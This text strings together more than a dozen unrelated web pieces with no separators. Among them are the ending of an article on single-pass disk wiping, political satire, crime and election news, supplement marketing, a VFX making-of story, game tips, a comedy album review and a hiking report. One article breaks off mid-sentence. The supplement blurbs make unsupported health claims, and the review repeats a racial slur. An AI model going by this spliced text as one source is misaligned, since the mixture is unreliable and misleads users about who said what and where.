Fortunately, several security researchers presented a paper [WRIG08] at the Fourth International Conference on Information Systems Security (ICISS 2008) that declares the “great wiping controversy” about how many passes of overwriting with various data values to be settled: their research demonstrates that a single overwrite using an arbitrary data value will render the original data irretrievable even if MFM and STM techniques are employed.
The researchers found that the probability of recovering a single bit from a previously used HDD was only slightly better than a coin toss, and that the probability of recovering more bits decreases exponentially so that it quickly becomes close to zero.
Therefore, a single pass overwrite with any arbitrary value (randomly chosen or not) is sufficient to render the original HDD data effectively irretrievable.
References
[BLAN08] Blannco Certified Data Erasure Software. “Recognized Overwriting Standards” (http://www.dataerasure.com/recognized_overwriting_standards.htm).
[DOD_06] Department of Defense – Department of Energy – Nuclear Regulatory Commission – Central Intelligence Agency (February 2006). “DoD 5220.22-M National Industrial Security Program Operating Manual (NISPOM)” (http://www.dss.mil/isp/odaa/documents/nispom2006-5220.pdf).
[DOD_97] Department of Defense – Department of Energy – Nuclear Regulatory Commission – Central Intelligence Agency (July 1997). Obsolete version of “DoD 5220.22-M National Industrial Security Program Operating Manual (NISPOM)” (http://www.usaid.gov/policy/ads/500/d522022m.pdf).
[FEEN07] Daniel Feenberg (2007?). “Can Intelligence Agencies Recover Overwritten Data?” (http://www.nber.org/sys-admin/overwritten-data-guttman.html).
[GUTM96] Peter Gutmann (July 1996). “Secure Deletion of Data from Magnetic and Solid-State Memory” (http://www.cs.auckland.ac.nz/~pgut001/pubs/secure_del.html).
[NIST06-1] NIST (August 2006). “Special Publication 800-88: Guidelines for Media Sanitization” (http://web.archive.org/web/20060902043637/csrc.nist.gov/publications/nistpubs/800-88/SP800-88_Aug2006.pdf).
[NIST06-2] NIST (September 2006). “Special Publication 800-88: Guidelines for Media Sanitization, Revision 1” (http://csrc.nist.gov/publications/nistpubs/800-88/NISTSP800-88_rev1.pdf).
[NSA_07] National Security Agency – Central Security Service (December, 2007) “NSA/CSS STORAGE DEVICE DECLASSIFICATION MANUAL” (http://www.nsa.gov/ia/_files/Government/MDG/NSA_CSS_Storage_Device_Declassification_Manual.pdf).
[SOBE04] Charles Sobey (April 2004). Recovering Unrecoverable Data — The Need for Drive-Independent Data Recovery (http://www.actionfront.com/whitepaper/Drive-Independent%20Data%20Recovery%20Ver14Alrs.pdf).
[UCSD10] UC San Diego Center for Magnetic Recording Research, 2010. “Secure Erase” (http://cmrr.ucsd.edu/people/Hughes/SecureErase.shtml).
[WIKI08] Wikipedia (2008). “Hard drive capacity over time.png” (http://en.wikipedia.org/wiki/File:Hard_drive_capacity_over_time.png).
[WRIG08] Craig Wright; Dave Kleiman; R.S. Shyaam Sundhar (December 2008). “Overwriting Hard Drive Data: The Great Wiping Controversy” Lecture Notes in Computer Science (Springer Berlin / Heidelberg); ISBN 978-3-540-89861-0 (http://www.springerlink.com/content/408263ql11460147/). Some pages available for preview in Google Books.
Cross-posted from GrotIt doesn’t matter what side of the political aisle you stand on—having a pet is a big responsibility. Here’s why Reince Priebus really should wait until this election is over to do it.
1. He’s too busy: Leave your politics at the door for a moment. As chairman of the Republican National Committee, Mr. Priebus will have a jam-packed schedule in the coming months—debates, fundraisers, rallies, and dinners. You don’t have to agree with Mr. Priebus’ party or candidate to see that a dog would be too much.
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2. It wouldn’t be fair to his wife, Sally: Just be realistic. If Reince gets a dog right now, who do you think is going to end up taking care of it? A puppy is a lot of work, and Reince should wait until he can share more of the burden. Whether or not you support his party’s platforms, you have to admit that this is the only responsible move.
3. Flying with a dog can be stressful: Whoever you’re supporting this November, the fact is that Reince Priebus is traveling a lot right now. He has a family in Wisconsin, a job in DC, and he’ll surely be visiting some critical swing states this fall. The logistics of flying with a dog are very complex. It might be easier to manage if he chooses to fly private, but this comes with its own set of political pitfalls. Objectively, it would be better for him to steer clear of this mess.
4. He needs to focus on uniting a broken party: There are thousands of opinions on the GOP, but it should be obvious to everyone that Priebus has his work cut out for him if he wants to secure a Republican victory come fall. Getting a dog right now would only further complicate an already enormous task.
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5. It might distract from his message: Every single choice Reince Priebus makes is under the microscope. If he got a dog in spite of all the reasons listed here, he’d risk creating an unnecessary and unwelcome sideshow. That’s not politics—that’s being pragmatic.
6. It’s something he can look forward to: Even if Mr. Priebus’ heart is really set on getting a dog, why not let the dog be the light at the end of the tunnel? After this bitterly divisive election is over, there will be plenty of time for Reince to give his new pet the attention and love it needs. Until then, Democrats, Republicans, and others can agree that there’s simply no need for Reince to rush into it.A 23-year-old man was arrested by Lesvos police early Thursday morning for attempting to rape a 22-year-old woman.
The incident took place in the center of Mytilene, the capital of the island. According to local police reports, the undocumented Algerian immigrant knocked on the apartment door of the woman, who is a student.
The unsuspecting woman opened the door thinking it was the food delivery man she was expecting. The man entered her home by force and assaulted her sexually. The woman resisted and started screaming, making the migrant leave her apartment. Her yells alerted the neighbors who then blocked the Algerian man from exiting the building.
In the meantime, two police officers who happened to be nearby, heard the screams and ran to the apartment building, where they arrested the assailant.
The man will be taken to the Mytilene Attorney on Friday on attempted rape charges.Key Ingredients
Cordyceps Sinensis Several thousand years ago high in the mountains of Tibet, herdsmen noticed that when their herds grazed on caterpillar fungus, they were noticeably more lively, energetic, and could stay on the move for far longer. Taking a lesson from their animal kin, they sampled the mushroom and found a similar effect. Unbeknownst to them were the mechanisms of action behind this highly prized mushroom. Containing the active ingredients adenosine and cordycepic acid, as well as a host of phytonutrients, cordyceps has been shown in some studies to increase oxygen utilization, aerobic capacity, and cellular energy.†
Ashwagandha One of the pillars of Ayurvedic medicine, this tonifying herb that is often called “Indian Ginseng” is prized for many varied benefits. As with most adaptogens, Ashwagandha is useful in helping the body handle stress by supporting a variety of bodily functions with its combination of withanolides, alkaloids, fatty acids, and amino acids. The particular ability of Ashwagandha to help assist with mental acuity and reaction time, possibly due in part to cholinergic activity, also makes this herb of particular value to athletes.†
Green Tea Extract Green tea has been associated with good health for thousands of years, but only recently has science understood exactly why. With the combination of catechins, polyphenols, and the highly potent EGCG, green tea extract has been shown to be 20 times more antioxidant-active than Vitamin C. Particularly valuable in scavenging lipid free-radicals, this ancient and powerful antioxidant will be a major ally in protecting against the neurotoxicity of excessive vital exertion. In addition, green tea will offer the body its well known effects on energy and metabolism.†With Pink Floyd bowing before the beast this week and allowing Spotify to stream its music, one of the biggest digital-music holdouts has finally relented. The prog-psych colossus follows Bob Dylan, whose music was pulled from Spotify in 2009 before reappearing in January 2012, and Metallica, a longtime holdout which made its music available on Spotify last December.
Even with those high-profile feathers in their cap, the streaming-music services still have stubborn detractors who refuse to make their catalogues available for free listening. Here are some of the biggest remaining holdouts and what’s kept them from joining the dark side:
Garth Brooks: The best-selling album artist in the U.S. in the SoundScan era (since 1991) is not only absent from streaming services like Spotify, but his music isn’t even available on iTunes. Brooks says it’s because he believes so strongly in the album, which he says is “a reflection of who the artist is at that time.” Like Metallica, Brooks owns his own master recordings, though, meaning he would make a lot more money from streaming than most artists who are only paid performance royalties.
AC/DC: After nearly a decade of telling iTunes to get lost, AC/DC gave in last November and allowed Apple to sell their music. Spotify has yet to receive the same honor. On the bright side, Brian Johnson did go from saying iTunes would kill music in 2008 to partnering with the service four years later. So there’s that.
Led Zeppelin: Back in January, Led Zeppelin began shopping their catalog to a number of streaming services. Unlike most artists, the legendary band sought an exclusive, lucrative deal that would boost the profile of whichever service landed its songs. As of today, no deal has been consummated.
Bob Seger: As with most artists on this list, the leader of the Silver Bullet Band began as an iTunes holdout. In 2011, Seger relented and gave Apple two live albums to sell, but Spotify remains bereft of “Night Moves” or “Against the Wind.” When Seger finally caved to iTunes, it was, as his manager said, to keep him “current.” If that goal remains, Spotify shouldn’t be too far behind.
Tool: Maynard James Keenan’s band doesn’t have a unique reason for staying away from digital music – like many on this list, he doesn’t want his band’s work consumed in random pieces. Unlike most, though, Tool is truly committed. The band’s music isn’t on iTunes or Spotify and it has never allowed its label to split up its songs into a greatest-hits collection. Gotta respect those principles.The Last Stand is the first film with Arnold Schwarzenegger as lead actor since Terminator 3 Rise of the Machines shot 10 years ago. In this movie the international star embodies a sheriff of a small town close to the mexican border who faces a dangerous drug lord and his men in order to stop them to escape to Mexico.
The climax sequence of the movie is a fight between the sheriff and the drug lord. This fight takes place on a temporary brige installed by the gangsters over a long and large canyon in order to reach Mexico.
Only a small section of the bridge where the actors were fighting was built for real. The shot took place indoor surrounded with green screens. Method Studios was in charge of transforming the shot into an exterior shot by building a CG version of the whole bridge, the canyon and all the rest of the landscape.
In order to do so and to respect the tight schedule they faced, the work was divided in two teams : one in Method Studios London took care of creating the necessary assets, the other in Method Studios Los Angeles was responsible of delivering the shot.
Rest of the article...
Here are some shots of the final sequence which highlight the 3D environment recreated by the artists.
Images courtesy of Lionsgate and Method Studios
One kilometer of canyon
The canyon was approximately one kilometer long and required a lot of photos in order to be mapped with details. Ian Ward, CG supervisor of the Method Studios London team, opted for HDR panoramas. He requested that the photos were taken with GPS location to get a first approximation of the location of the photos. It helped to sort the photos because all of them were looking very similar... rocks, rocks, rocks.
Ian decided to use the LIDAR calibration system of the Enwasculpt module of Enwaii to calibrate the photos accordingly to the LIDAR scans data of the canyon. Method Studios had already used this workflow successfully with other LIDAR scans of rocks for the movie Wrath of The Titans.
After the stitching process, the artists selected a dozen of 12K to 16K panoramas to cover the whole kilometer of canyon on both sides. They were able to manipulate such big images directly with Maya image planes thanks to the proxy system of Enwaii. The proxy system enables to specify a higher big depth and higher resolution image in order to switch to it automatically for texture generation. For instance, you can use a JPEG or TIFF image for the calibration and modeling tasks and texture with a HDR image in OpenEXR format when clicking the texture baking button.
One of the panoramas used by Method Studios (it is possible to zoom with the mouse wheel) :
During the calibration process, Peter Forsyth noticed that the LIDAR calibration was not as efficient with the canyon than it was with the Wrath of The Titans set, so he reported it to the support at Banzai Pipeline Ltd. It was indeed hard to identify specific features in the LIDAR scan since everything was so similar, almost fractal. So Enwaii developers worked on coding a second LIDAR calibration system, which is markerless and more adapted to calibrate organic shapes. This was satisfying for Peter and both systems are now part of the public version of Enwaii too.
Most of the shots of the fight sequence are taken from the middle of the bridge. Because there is no bridge in the real location it was of course impossible to shoot a 360 panorama from this place, which would have been convenient for mapping. So the artists decided to bake the texture of the 3D asset obtained with Enwamap without retouching. They rendered 6 images to make a 360 environment cube from the middle of the bridge and polished the environment using the rendered images. It proved pretty efficient this way. The surrounding desert was created using a Houdini setup blending with the canyon borders. Once ready, the assets were in the good hands of Method Studios Los Angeles artists who took care of delivering an impressive fight sequence.Portsmouth, New Hampshire Standing with a group of police and corrections officers, Republican presidential front runner Donald Trump on Thursday called for a mandatory death penalty for anyone convicted of killing a police officer.
"One of the first things I do in terms of executive order if I win will be to sign a strong, strong statement that will go out to the country, out to the world, that anybody killing a policeman, policewoman, police officer - death penalty," he said.
Riding stronger than ever before in the Republican polls, Trump's event in New Hampshire Thursday was perfectly conventional: He was receiving the endorsement of a police union inside a smaller-than-usual hotel conference room.
But the atmospherics of the presidential race -- Trump's call this week for a ban on Muslims entering the United States has only firmed up his standing atop the GOP polls -- overshadowed the appearance where he picked up the endorsement of the New England Police Benevolent Association.
Though it wasn't his message of the day, Trump spoke briefly about his proposal to ban Muslims, saying that racial profiling is necessary to stop domestic terror attacks like the shooting in San Bernardino, California.
"We can't worry about being politically correct," Trump said before a swarm of media, including multiple foreign news outlets. "We just can't afford anymore to be so politically correct."
Outside of the Sheraton Hotel in Portsmouth, dueling demonstrations took place: a group of 300 anti-Trump protesters, including a marching band playing music throughout, held up signs saying "Trump: America's Hitler" and "Love > Hate."
One of the demonstrators -- Maggie Ball of Kensington -- accused Trump of dividing the country.
"Hate does not belong in our country, you cannot be a leader and hate people and keep people out that you don't even know," Ball said. "All people deserve to come to this country as long as they are not hateful, and we are a country of faith and opportunity and we should stay that way."
Across the street, a smaller pro-Trump crowd gathered in support of the billionaire businessman and his Muslim ban. Many disputed the idea that Trump is racist, and echoed the Republican front runner's television appearances in which he said the ban would only be temporary.
"We are under attack," said Sandy Woodmansee, a Trump backer from Ebbitt, New Hampshire. "I'm concerned for my three teenage kids. Do I like the idea of telling someone they can't come to America? I don't like the idea of that, but you know what, I think right now that's a good idea to keep us safe. Just for a time."
John Bassett, a Trump supporter who came in from Maine, called the businessman's plan "very American."
"He's not mean, he's not bigoted, he's not racist," Bassett said. "I've known him for a long time - not personally - but he's successful."Christmas day is still eight months away, but one Sioux Falls family is already preparing their Christmas Eve feast. It's been a Jaeger's family tradition dating back several generations to make pierogies for the holiday season.
Stepheon Jaeger can remember eating homemade pierogies ever since he was a young boy. His mom made the Polish dish for him growing up. Now, he's continuing the tradition.
"We love doing it. We love getting the family together and like i said, we're just trying to carry on the tradition so we don't forget how to make them," Jaeger said.
At this pierogi party, Jaeger's brother drove to Sioux Falls from Texas and other family members drove in from Minnesota. Making a pierogi takes about two days in the Jaeger family, one day to make the filling and the other to mix the dough, stuff it and boil the pierogies. All of them have to be up to mom, also known as grandma's, standards.
"Her expectations are pretty high but you know what?" said Danielle Johnson, Stepheon's daughter. "She wants them fat, she wants them full, pinched really well. She's kind of quality control. She'll look around and tell you if you're doing something wrong."
The whole family has learned to keep each other in check as well. It takes 120 pounds of cottage cheese, 95 pounds of potatoes, 125 pounds of flour, 52 dozen eggs, and two gallons of whipping cream to make 1,200 pierogies. Even though many of the pierogies will travel back with family members and stay in their freezer until Christmas Eve, a taste test was necessary before then. The Jaeger's are even making it a point now to teach the recipe to the younger generation.
"That's why we're stepping in and learning how to make these with grandma still here," said Johnson.
Because after all, the Jaeger's are pierogi people and hope to be for generations to come. The Jaeger's made three different pierogies that included the traditional pierogi with cheese and potatoes, a meat filled one, and a pizza pierogi.Canada’s “Northern Strategy” and the militarization of the Arctic
By Louis Girard
10 September 2010
Since assuming power in 2006, the Conservative government of Stephen Harper has made the assertion of Canadian capitalist interests in the Arctic region a priority. Harper has made five visits to the Arctic since taking office, including a five-day tour late last month.
The Canadian ruling elite, like those of the neighbouring Arctic Ocean coastal states, views the melting of the Polar ice cap, due in part to global warming, as an opportunity to make huge profits. Competition for control over the region’s lucrative resources has exploded in recent years.
Canada’s Far North comprises a full 40 percent of the country’s landmass. It is the site of immense energy resources, which have become increasingly accessible as the Arctic sea ice melts. The region is thought to have the equivalent of 90 billion barrels of oil and as much as a quarter of the world’s yet to be discovered oil and natural gas.
Melting of the permanent ice is also opening up a new intercontinental maritime route, the famed Northwest Passage, which by shortening the distance to be travelled between Europe and the Asian Pacific, will allow shipping companies to save substantial transportation costs. For the country that controls the Passage, this would be a highly valuable asset.
Harper’s Arctic visit was the |
Elections Canada investigators probing the robocalls scandal are interviewing workers on the Conservative campaign in Guelph, Ont., and trying to determine why payments made to an Edmonton voice-broadcasting company were not declared in financial reports filed with the agency.
In recent days, the agency has spoken to at least three workers from the campaign of Conservative candidate Marty Burke, including the official agent responsible for ensuring the campaign’s financial report was accurate.
Elections Canada wants to know why the costs of automated calls the campaign has admitted sending out never appeared in the campaign’s expense report, as required by law.
Andrew Prescott, the deputy campaign manager, said he is co-operating with the investigation and handing over bills he received from RackNine Inc. for a series of robocalls promoting Burke events during the election.
The same company was used to transmit misleading Elections Canada calls on election day.
[np-related]
Prescott maintains he had no role in the fake Elections Canada calls that directed voters to the wrong polling stations.
Prescott said Monday that he had given his campaign manager invoices for the calls but could not explain why the expenses did not appear on the financial report sent to Elections Canada.
He said he used a RackNine account he held through his own company, Prescoan, to place the automated calls announcing Burke campaign events. He said he then submitted invoices to the campaign for these costs.
“I gave them to the campaign manager,” Prescott said. “There was definitely no effort to hide anything or obscure anything.”
There is no record of these expenses anywhere in the Burke campaign return, however.
Meanwhile, Elections Canada is also investigating records at PayPal, an online payment and money transfer service, the Globe and Mail has reported, and is using a court order to ask the company to hand over information as a part of the Guelph investigation.
Burke’s unsuccessful campaign against Liberal incumbent Frank Valeriote was managed by Ken Morgan, a former candidate for city council in Guelph. Burke has not spoken publicly since the robocalls controversy and has not responded to emails requesting comment. Postmedia was unable to reach Morgan.
It is unclear why the Burke campaign did not report the costs Prescott said he submitted. Failing to declare campaign expenses is a breach of the Elections Act.
The detailed expense claims submitted to the Burke campaign included receipts for everything from local advertising costs, gasoline and pizza for campaign workers. But the Burke campaign’s accountant, Abdul-Qayum Ali, said he never received any invoices for RackNine.
The campaign’s bills typically were given by staff to Morgan and then passed on to him, said Ali who, as official agent, was responsible for ensuring the accuracy of the expense report.
Ali said he was contacted by Elections Canada last week and asked if there were any other invoices he hadn’t submitted to the agency. There were not, he said.
Elections Canada’s investigators have traced the fraudulent robocalls misdirecting voters in Guelph from a disposable cellphone purchased under the pseudonym “Pierre Poutine” in Joliette, Que. The phone was used to call RackNine to record the outgoing call sent to voters in Guelph.
RackNine says it was unaware its service was used to place the calls.
Prescott said he set up an account with RackNine in 2010 that he had used for other provincial and municipal election campaigns.
A sworn statement filed by Elections Canada investigator Al Mathews lists 31 calls made to RackNine from four phones associated with the Burke campaign to RackNine, including two on election day. Most of the calls were to a customer service log-in number.
In Mathews’ sworn statement, he writes that it is “reasonable to conclude that the absence of an expense report... is inconsistent with the pattern” of the calls.
Prescott would not say how much the various calls cost.
Prescott said he has spoken with Mathews by phone and has another meeting scheduled in the near future.
Before the robocalls story first broke last month, Prescott told the Ottawa Citizen he had paid for RackNine bills himself and was reimbursed by the campaign through the $1,100 he was paid.
But an agreement signed by Morgan and Ali on March 26, at the beginning of the campaign, shows Prescott was always to be paid $1,100 as an honourium for providing “general labour” on the campaign.
Other campaign workers who had similar agreements in place were reimbursed for the costs they incurred during the course of the campaign. But there is no sign of any expenses Prescott incurred.
In a blog post in July, not long after the election, Prescott described himself as a “cellphone expert.”
“Being an IT guy, and being the resident cellphone expert amongst my friends and political circles, people ask me for advice on who’s got the best deals for cellphones.”
The Guelph Mercury reported last week that Elections Canada, which started the investigation in May, interviewed campaign worker Michael Sona last Tuesday for the first time.
Sona, who was director of communications for the Burke campaign, made headlines during the campaign when he tried to shut down a special ballot being held for university students by trying to grab the ballot box.
He was first associated with this story when Sun TV reported that senior Conservatives believed he was a person of interest to the investigation. Sona soon resigned from his job working for Conservative MP Eve Adams.
After Defence Minister Peter MacKay suggested Sona was responsible for the misdirection in Guelph, Sona issued a statement denying it.
“I have remained silent to this point with the hope that the real guilty party would be apprehended,” he said in a statement to CTV News. “The rumours continue to swirl, and media are now involving my family, so I feel that it is imperative that I respond. I had no involvement in the fraudulent phone calls, which also targeted our supporters as can be attested to by our local campaign team and phone records.”
In Question Period on Monday, the Conservatives repeatedly demanded the Liberals release their own call records, while repeatedly refusing to do the same.
The Conservatives have steadfastly denied any knowledge of voter suppression calls by higher-ups. On Sunday, Conservative campaign chairman Guy Giorno said he hopes investigators get to the bottom of it.
“I wish Godspeed to Elections Canada and the RCMP investigators,” he told CTV. “We want them to get to the bottom of this and let’s hope the full weight of the law is applied to any and all.”
In Mathews’ sworn statement, he describes an interview with Central Poll Supervisor Laurie Rotenburg, who was running the polls at the Old Quebec Street Mall in Guelph when 150 to 200 deceived voters showed up to vote.
“He observed that many of the misdirected voters responded with anger that a dirty trick had been played,” Mathews wrote. “Many were upset. Some electors just stormed out of the polling location. Several ripped up their Voter Information Card.”
With files from the National PostRENO, Nev. — Reno 1868 FC announced on Thursday the club’s first match will be against Major League Soccer’s San Jose Earthquakes on Saturday, February 18, at Greater Nevada Field. Kickoff is set for 12:30 p.m. PT as 1868 FC prepares for its inaugural season in the USL.
The contest will mark the first time a major league team, from any sport, will play in Reno. Earlier this year, 1868 FC and the Earthquakes announced a partnership between the two clubs that will see Reno become the home for some of the Quakes young players.
“This is a great opportunity for the city of Reno to see their team play for the first time and facing an MLS team is icing on the cake,” said Andy Smith, general manager of Reno 1868 FC. “I’m excited for our fans and the opportunity this affords our players. What an awesome way to kick off a franchise!”My last deviation was a collection of 4 pictures (taken directly from Super Mario Maker) of my way of making a desert in all 4 game styles of Super Mario Maker. However, I have found other ways to make deserts in the SMB3 style. I also found ways to make grass in the "Ground" theme of SMB and SMB3. Anyway, here are the instructions on how to make what is seen in all 4 pictures (taken directly from Super Mario Maker).
Top left: Set the game style to "Super Mario Bros 3" and the course style to "Airship" and make a 3-by-[insert how long you want the level to be here] checkerboard pattern in the bottom 3 rows using Hard Blocks and Ground Tiles.
Top right: Set the game style to "Super Mario Bros 3" and the course style to "Airship." Place a Semi-Solid Platform and shake it until it becomes light tan. Then, place it on the bottom 3 rows and extend it up 1 block and across [insert how long you want the level to be here] blocks. After that, get another Semi-Solid Platform and shake it until it becomes dark tan. Make sure the top part of the light tan platform is still showing when you place it over. Don't extend this platform up. Extend it [insert how long you want the level to be here] blocks across.
Bottom left: Set the game style to "Super Mario Bros" and the course style to "Ground." Fill the bottom 2 rows up with Ground Tiles. Then, place a Semi-Solid Platform and shake it until it becomes brown with green on top. Then, place the brown part under the Ground Tiles so that the green part is showing. After that, place vines over the Semi-Solid Platforms, but make sure only the top end is showing.
Bottom right: Set the game style to "Super Mario Bros 3" and the course style to "Ground." Do the same thing you did for the bottom left except replace the Semi-Solid Platforms with Green Mushroom Platforms.By Daniel Berkowitz
It used to be that only a select few comedians could put out an album. In the 1970s, we had George Carlin, Steve Martin, Richard Pryor and Bill Cosby, to name some of the most noted. They were the elite guys. Only these A-level-type of comedians were given the opportunity to press their jokes on vinyl. Now, however, with the rise of independent record labels, online stores and more comedians than one can count, the opportunity to put out an album, though admittedly still difficult to achieve, is certainly much easier.
The armchair history above is sketched to provide some greater context for this particular appraisal of Adam Norwest and his first album, One of a Kind. Norwest is only 25 years old, and regardless of how many years (nine, to be precise) he has worked to hone his craft, it’s safe to say his debut is a tad premature.
Yes, 25 years old is not outrageously young for a comedian. John Mulaney put out the brilliant The Top Part at 26, and Hannibal Buress jump-started his legacy with My Name is Hannibal at 27. Hell, Bill Hicks was killing in Houston clubs at just 16. The difference between these three comedians and Norwest, however, is that irrespective of what their birth certificates said when they put out their first albums or achieved any semblance of mainstream recognition, they were unquestionably bold, focused, polished and unique.
Norwest, in contrast, does not seem to possess any of these traits. He’s a genuinely funny guy, and One of a Kind isn’t necessarily bad. It simply does not have that “It” Factor—that ineffable undertone that makes the listener perk up and think to him- or herself, “I need to listen to this guy.”
Norwest’s problems stem from his lack of temerity. He’s too tame; not bold enough. He doesn’t push any boundaries.No comedian needs to evoke Andrew Dice Clay, but every once in a while it’s good to make the audience feel uneasy. Take a risk. Try to win them over with balls, not unbridled caution. On “8 Mile,” Norwest recites a lyric from an Outkast song, explicitly stating that he will replace “nigger” with “potato.” This is a lame move, designed to create a lame joke. What’s worse, though, is that Norwest won’t even dare mutter “nigger,” opting instead for “the N-word.”
A comedian must be confident. He or she has to know what they’re doing and why the audience is laughing; he or she must control the room. By refusing to say “nigger,” Norwest cedes much of his control to the audience, as the sole reason he’s not saying it is because he does not want to be misconstrued as a racist. But if he knows he’s not filled with hate, then it shouldn’t matter. Again, he must control the room, not the other way around. Bill Burr wouldn’t settle for such. Louis C.K. sure as hell wouldn’t. That’s why they’re rewarded with celebrity, money and the opportunity—not the right—to put out albums.
The truth is, One of a Kind is funny. But not only is it not daring or bold enough, in contrast to Mulaney and Buress’s albums (or any objective barometer of a good album), it’s not focused enough.
Norwest doesn’t really have bits. His 45-minute album is divided into 15 tracks, which reason would suggest are each devoted to singular subjects. Yet Norwest will routinely discuss multiple—three, four, five, six—subjects within the same track. These aren’t 25-minute verbal opuses; they average three minutes a pop. Norwest would do better to ditch the stuff that doesn’t land and focus on fleshing out the stuff that does. He has some real gems. Unfortunately, to be blunt, they’re buried under a bunch of garbage.
Boldness and focus aside, Norwest is rough, and he is not unique enough to merit an album just yet. He almost sounds like every millennial’s favorite middle-school comedian, Kyle Cease. Norwest’s a little too zany; too enthusiastic. This isn’t a problem in and of itself, but this persona only works when it isn’t a transparent shtick. Norwest, though, seems to be subconsciously masking his shortcomings by overcompensating with his personality. In this way, the lack of confidence is disheartening, as a real comedian is surely in there somewhere.
Norwest is funny. One of a Kind is funny. Unfortunately it’s not a good album, and Norwest has not scratched the surface of his potential. If he can dig within himself, find and cultivate something strong and unique, and broadcast it with sincerity, then he can be a very special comedian. Here’s to hoping a funny guy can discover precisely what it is that makes him so.
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Distance – 14.5 miles of hiking trails, plus a 3+ mile bike trail (the boys and I did just over two miles, my friend Pat and I returned another day to take on the 8 1/2 mile Penns Hill Trail [labeled on the map at the Macri Trail])
Type – Series of looping trails
Difficulty: 3 of 10 – bit of mud, but it had been raining for a whole week
Updated: September 2, 2017
Website – http://www.oceancountyparks.org/ContentPage.aspx?ID=41fee2db-374d-49a2-a7ae-f17b5acc6c92
Open – Sunrise to Sunset.
Terrain – Lakeside, meadow, forest, and swampland
Trailheads – Trail system starts at the nature center – 39°47’39.90″N, 74°16’37.66″W
Directions – 905 Wells Mills Road Waretown, NJ 08758
Parking – Large parking lot
Markings – Trails blazed with various colors.
Dog friendly? Unsure, call ahead
Stroller friendly? Some trails would be doable with a heavy duty stroller (especially the Yellow Trail and the Pink Trail), but NOT the White Trail or Blue Trail.
Benches? Yes, scattered throughout the trail system
Facilities?: Bathrooms at the Nature Center
Map – Trail map can be found here
Our second visit – the Penns Hill Trail (8.4 mile trail)
So it’s a thousand degrees outside (okay, only upper 90s) at 10,000% humidity (actual percentage of humidity) and you are heading out with your buddy to do something… What to do? I know…. hiking! 8 1/2 miles of it! And let’s start around 11 AM!
Hence Pat and I drove the hour to Wells Mills on a scorching day to take on the Penns Hill Trail (labeled on maps at the Macri Trail). We parked, grabbed a map at the nature center, and entered the trailhead located on the lake behind the nature center.
The trail starts along the lake and past a cabin. Just after the cabin, turn left and walk out on the dock for a beautiful view of the lake.
Then its back on the trail, which passes through a cedar swamp. There are lots of little boardwalks and bridges here, it’s the reason that I HAD to come back here and hike the rest of this trail.
After a bridge, the Blue Trail will begin on your right side, but we were sticking with White blazes today. The cedar swamp continued for a bit, then began to climb as we crossed the Green Trail and Yellow Trail in quick succession.
After we finished crossing these trails, it would be over three miles before we crossed another one (Ridge Road with the Yellow and Green Trails at Mile 3.7). Yay! The trail entered a hilly section, and we had a good bit of up and down on this stretch. We spotted blueberries, but were bummed that they were still a few weeks from being widely edible. We picked a few ripe ones as we went along our merry way. 2 1/2 HOT miles and an hour into our trip, we (okay, just me) collapsed at the top of Penn Hill for a break. I forgot to take a picture, but there is a bench at the top of the hill, towering 126′ above sea level.
I cant remember EXACTLY what pictures were before and after the hill, so I’m guessing about here is where we took our break. Some water and some sit down time in the shade made us feel much better, and away we went. The stretch of trail was still really hilly, dropping down to bridges. One, marked as crossing a stream, was totally dry. This, however marked the trails closest venture toward Laurel Hill, towering at 130′ of elevation.
We continued on another half mile from this dry stream until we reached Ridge Road at 3.7 miles into our trip, which is where the white blazes rejoined with the Yellow and Green ones.
The best part of this stretch was that we started passing more blueberry bushes, and these ones were brimming with ready-to-eat berries. We happily ate as we walked. This would continue for good stretches for the rest of the hike, it was great.
Checking the map, you’ll notice that this trail intersection is actually outside of the county park and on the Joseph Citta Boy Scout Reservation. They are nice enough to let part of the trail system cut through their property, be nice enough to stay on the trails!
At this intersection, we turned right to stay with the White blazes as they followed the green and yellow ones. The trails turned left at a gate that takes you further into the Scout camp, the continues along the road until crossing a bridge over Oyster Creek.
Shortly after you cross this bridge, the Penns Hill Trail will turn left, leaving the Green and Yellow Trails.
It would be more than two more miles until we crossed another trail. Until then, we had a few more little bridges, some shady forest, some wide open (and very hot) stretches, and lots and lots of blueberries. After two miles, we crossed the green and yellow trails again, where we took another break.
We then took the stretch of the White Trail that was on its own. It crossed a road, passed through a burned area, then crossed a good sized bridge (labeled on map).
We then passed a marker for 7 miles of trail!
This was a bit odd, because we hadn’t passed a marker for miles 1 through 6, but that’s fine! 1.4 miles to go!
We crossed another good sized bridge (also on the map) and soon crossed Morey’s Road in good shape.
We were felling great despite the heat and then… THE PINE FLIES! Between Morey Road and Wells Mills Road, were were besieged by them. It was really awful!
But when we made the left turn onto Wells Mills Road (rejoining the Green and Yellow Trails, which we’d follow to the end), the flies went away and we enjoyed the last 1/3 of a mile or so. We crossed a bridge, walked out on the dam to see the lake, and then finished at the Nature Center.
8 1/2 miles in the blazing heat accomplished! We celebrated by guzzling even more water. Yay!
Our first visit – Blue Trail, Pink Trail, Tree Trail, and the Nature Center (3 miles of hiking)
It was The Wife’s day to sleep in, so I decided to take Tree Rider and The Pres out of the house at the crack of down, drive most of the way across the state, and check out a park I’ve been hearing great things about since I started this blog – Wells Mills County Park. That’s not a typo, there were two mills here at one point, so take that grammar police.
We ended up here pretty early and went down the short path, path the bathrooms (complete with Smokey the Bear sign on the outside) to the visitors center/nature center.
The Conrad Trail (Blue Trail) with bit of the Penns Hill Trail (White Trail) to create a loop (about 1.5 miles total):
After talking with the ranger, we decided that our best bet was the Conrad Trail (the blue trail on the maps). To read this trailhead, we had to take the Penns Hill Trail (white) from just in front of the Visitor’s Center in a westerly direction along the lake.
On the Penn Hill Trail, a miracle occurred right away – Tree Rider wanted to HIKE. While he was given the nickname Tree Rider for other reasons, this second kid of mine has wanted nothing more than to ride in his pack from the time he was first going on hikes with the family (about two weeks old… I know, I’m ashamed we started him so late). Usually, when put on the ground, he’ll just point at the pack and say “Up! Up!” But this time, he wanted to follow his older brother. Unfortunately, he decided he wanted to start his real hiking career on a path littered with roots and small steps up and down. This is nothing for an adult, or even his brother, but Tree Rider is still working on his walking, so he fell down a lot. But he smiled the whole time.
Almost immediately when entering the trail, you’ll pass what is either an employee break cabin, a caretaker lodge, or both. Right after this is the canoe put in, a dock that juts out into the lake. We, of course, had to walk out and see what there was to see.
